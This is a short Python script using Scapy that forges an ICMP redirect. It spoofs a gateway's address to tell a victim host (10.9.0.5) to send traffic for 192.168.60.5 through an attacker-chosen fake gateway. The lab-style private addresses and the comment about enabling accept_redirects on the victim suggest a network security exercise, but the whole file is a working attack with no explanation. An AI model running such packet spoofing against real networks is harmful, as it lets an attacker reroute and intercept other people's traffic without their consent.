#!/usr/bin/env python3 from scapy.all import * # run on victim: sysctl net.ipv4.conf.all.accept_redirects=1 victim = '10.9.0.5' real_gateway = '10.9.0.11' fake_gateway = '10.9.0.111' ip = IP(src = real_gateway, dst = victim) # Code 1 = Redirect datagrams for the Host. icmp = ICMP(type=5, code=1) icmp.gw = fake_gateway ip2 = IP(src = victim, dst = '192.168.60.5') send(ip/icmp/ip2/ICMP());